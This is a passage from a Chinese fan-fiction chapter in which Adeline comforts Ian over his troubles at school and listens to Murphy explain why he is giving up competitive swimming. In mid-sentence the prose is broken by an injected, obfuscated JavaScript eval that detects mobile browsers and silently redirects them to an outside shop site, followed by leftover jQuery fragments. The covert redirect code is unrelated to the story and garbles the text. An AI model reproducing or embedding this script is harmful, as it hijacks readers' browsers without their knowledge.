艾德琳回到家里后,又在画室待了很长的时间。
她在绘画上的确十分缺乏天赋,如果单独画五官,她能“有鼻子有眼”,可要是放在同一张脸上,那叫“鼻子不是鼻子,眼睛不是眼睛”,尤其是眼睛。
伊恩也不太懂画画,他坐在一边纯粹地浪费着颜料,“刚刚你们出去的时候,利普和你说了吗?”
“说了挺多的,但我不知道你想知道的是什么。不过,他举报你夜不归宿,你老实说,几天没回来了?”艾德琳有些心疼颜料,但她总觉得伊恩随手的涂鸦比自己的可以练习更有观赏性。
“我不想在圣詹姆斯学院读书了。”伊恩很突然地对艾德琳说,的确,圣詹姆斯学院的氛围对伊恩来说并不友善,“我知道,你们不会同意这样的事情,但是我很不适应。在那里,你和利普都有各自的朋友,而我呢?”
“也许,你需要的适应时间更久一些?”艾德琳发现,伊恩的眉头一直皱着,就连他调出的那些颜料,都阴郁得可怕。
“你们不在的那周,每天对我来说都是一种折磨。我本来想等你们回来就说这件事情,但是——”
“你是因为这件事情,才和利普吵架的吗?”艾德琳问伊恩。
“不,在我发现他和凯伦又在一起后,我才和他——他不应该和凯伦在一起,凯伦只是玩弄他。”伊恩无法代入利普的视角去思考为什么会爱上凯伦。
“他现在还不知道你和米奇之间的关系,是吗?”对于这个,艾德琳有些不确定。
“可能,也只有你才知道。”伊恩非常满意艾德琳在这些事情上的保密能力。
“那你和米奇还好吗?你夜不归宿的日子,是和米奇约会还是说,俱乐部?”艾德琳问得严肃,她对伊恩总有额外的纵容,但并不意味着容忍他涉足一些远超现在这个年龄的事情。
“俱乐部,对不起。”伊恩盖上颜料盖,他不敢看艾德琳。
“下不为例,你的年纪还小,包括利普,你们都还小。只是这个环境让你们提前像个大人,现在菲奥娜的工作越来越稳定,家里有我有布鲁斯叔叔,你和利普应该把握好最后的青少年时光,你可以像个青少年一样胡来,但别和那些油腻的恶臭老头搞在一块儿。我不会去管你和利普之间的事情,那是你们兄弟两个人的事情。但是乔伊又要在家里办派对了,这次你和我一起去好不好?也别急着要离开圣詹姆斯学院,如果你需要,我会多花时间陪着你,直到你真正地想清楚。如果学期末你还是坚持要离开,我依旧会帮你办理转学手续。”艾德琳接过伊恩手上的画笔,在自己的画布上尝试只画一只眼睛。
“我今天晚上能留在你这里吗?”伊恩觉得那只眼睛,太像生气时的艾德琳了。
“你已经在这里了?你想睡沙发还是在画室将就。”艾德琳看了看时间,她还得留出一些时间处理别的事情,所以,她真正的休息时间不多了。
“我以为你还会让我打地铺呢。”伊恩是真的想在艾德琳的床边打地铺,他很没有安全感。和艾德琳在一起的时候,他或许能睡个好觉。
“看在我刚刚说你年纪还小的份上。”艾德琳妥协了,伊恩的情绪太不好了,她也有些不放心。
简单地洗漱后,艾德琳坐在床上看着联邦调查局学院的教材,伊恩也跟着翻看,“你真的想加入罗西探员他们吗?在特区有发生什么特别的事情吗?我和利普,所以——你得和我说说特区的事情,除了所有人都知道的你们赢了比赛之外。还有,你的变化太大了,不是那种换了发型换了发色,而是在气质上,你好像突然就,该怎么形容呢?”
生怕伊恩口里说出形容她变老妈子的那种话,艾德琳果断关灯,“赶紧睡觉,明天还要上课呢。”
***
书呆子在A国的校园里的确是弱势群体中的弱势群体,再加上乔伊和艾德琳是华裔,利普是底层白人,似乎没有比他们三个更底层的“荣誉书呆子”了。
但偏偏,他们又不仅仅是书呆子。
在排球场上,乔伊是圣詹姆斯学院有史以来最好的二传手。
利普曾在一节哲学课上,被老师形容为“破碎的席勒”。弗兰克和莫妮卡至少给孩子们都留下了外貌上的馈赠,利普的五官非常符合A国的传统审美,再加上不同于绝大部分就读圣詹姆斯学院的中产以上的孩子们的生活环境,他太像一颗红艳艳的毒苹果。
而艾德琳呢,她并不像A国人刻板印象里的华国女性,也不像二三代移民后代。她并不温和,这一点第一个在学校里挑衅她的霍布斯就很清楚。她也并不开朗,她总是浪费着那双美丽的眼睛,冷漠地面对一切。
这三个人对于圣詹姆斯学院里的大部分人来说都太复杂了,人们无法再用传统的、打标签的形式来定义、来看待这三个“载誉而归”的人。
于是,等待他们的是更严重的“无视”,甚至是“排斥”。
艾德琳很意外会在自己躲懒的地方看到墨菲,“你怎么在这里?”
墨菲正在写物理作业,他有些窘迫,“玛丽安有训练,我得等她,但是——可能这里安静一点儿。”
艾德琳示意他往边上挪一挪,给自己腾出点地方,“整个学校都是你们游泳队的海报,还有各种庆祝的照片、标语。”
就像乔伊说的,墨菲的确在同一天和他们在不同的地方,登上了领奖台,但他们的待遇——肉眼可见的不同。
墨菲把自己的作业递给艾德琳,问她,“这题你会吗?”
艾德琳接过来,又用铅笔写上解题过程。
明明不久前,她还是需要自己讲解基础物理知识的人,怎么现在——
墨菲指着作业的封面,“这是AP的物理课程,你不是不会,你只是不喜欢物理,是这样吗?”
“就不能说,我的学习能力很强吗?”艾德琳开着玩笑,换作她给墨菲讲题。
说着说着,墨菲突然问艾德琳,“你知道,我们在同一节物理课上吗?”
艾德琳是真的没有留意到这个,“你没记错?”
墨菲笑着,“我猜得没错,学校里的艾德琳·陈似乎对一切都不关心。”
“那你也说了是‘似乎’,可我记得,第一次遇到你的时候,我没去上物理课,你怎么也没去?”艾德琳记得那天,虽然隔着些距离,但她记得墨菲算是赶走了霍布斯。
“训练。”说到这里,墨菲合上了书,不知道为什么,他就把自己最深的忧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13743321|142331||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
虑说给了艾德琳听,“我可能要放弃职业道路了,不对,我都算不上职业的运动员。”
艾德琳没有去问为什么,只是也合上了自己的作业,看着墨菲的眼睛,安静地听他诉说。
“看上去,我的成绩很不错,但是只有我自己清楚,我压根就不是天才,我总是需要很多额外的训练来维持成绩。我知道,我一直做的很好,但是——我生病了,我可能不能在继续从事任何竞赛级别的运动了。”墨菲说得平淡,只是他不应该是这样平淡的。
那天,在没有第三个的人的游泳馆,墨菲独自在泳池里训练的时候,艾德琳的耳机里放着的,是哪一首歌。
是的,在听到墨菲说他因为生病要离开比他生命还重要的泳池的时候,艾德琳想着的,是那首歌叫什么。
她拿出手机,不知道为什么怎么也按不对解锁密码。
墨菲把自己的手机解锁后递给她,她找到了音乐播放器,她还是不知道那首歌叫什么。
他们恰好坐在一扇落地窗前,阳光把树叶的影子落在两个人的脚边,反而是墨菲在安慰艾德琳,“我不记得,我们交情好到你为我这样失魂落魄。”
“其实,也许一开始就是注定的。”墨菲同艾德琳说起了自己为什么练习游泳,“玛丽安刚刚出生的时候身体很不好,她在保温箱里住了很久。当时,我的祖母已经帮她准备好了一块小墓地。我妈妈后来知道这件事,和我祖母冷战了足足五年。甚至玛丽安的名字,也是为了纪念在医院一直照顾她的那位护士。总之,我的父母从小就刻意的让我们增加体育锻炼。本来我和玛丽安是一起学网球的,我打得不太好,每次都被罚捡球,他们希望通过这样锻炼我的体能和承受挫折的能力。后来我承受不了这样的压力,就把捡来的球都倒进网球场旁边的泳池里。教练给了我一个游泳圈,让我把那些球都捡回来。我觉得我要溺死在泳池里了,一个教练把我拉起来,后来我就游泳了。”
墨菲把一切都说的很轻松,就像随着室外的风而轻轻在他们脚边摆动的树影。
艾德琳的手机第二次响了,墨菲不让她在装作看不到,“他们找不到你会着急的。”
她打开手机,两条信息,是都不回家让艾德琳先回去的利普和伊恩。
不知道为什么,艾德琳开始给墨菲讲故事,不是她身上的故事,也不是试图换个名字来说什么谁比谁更惨,而是说起了她很喜欢的一本华文科幻小说。
说到优秀的物理学家选择了自杀时的遗言——“物理学从来就没有存在过,将来也不会存在。”
墨菲感受到了艾德琳散发出的悲哀,他安慰艾德琳,“能陪我去一个地方吗?”
***
依旧是没有人的游泳馆,墨菲把艾德琳带到泳池边。
“艾德琳,在泳池里,物理学是存在的。”于是墨菲跳下泳池,“这是最基本的,浮力与重力——”
昏暗的场馆里,艾德琳看着泳池里的墨菲,她不去纠正他们看上去“鸡同鸭讲”的对话,她也不去思考,他们在这里试图证明的是什么,又是为了谁。
她伸手替墨菲拨开被水打湿的头发,看着墨菲的眼睛,她说,“你知道,你没有换洗的衣服了吗?”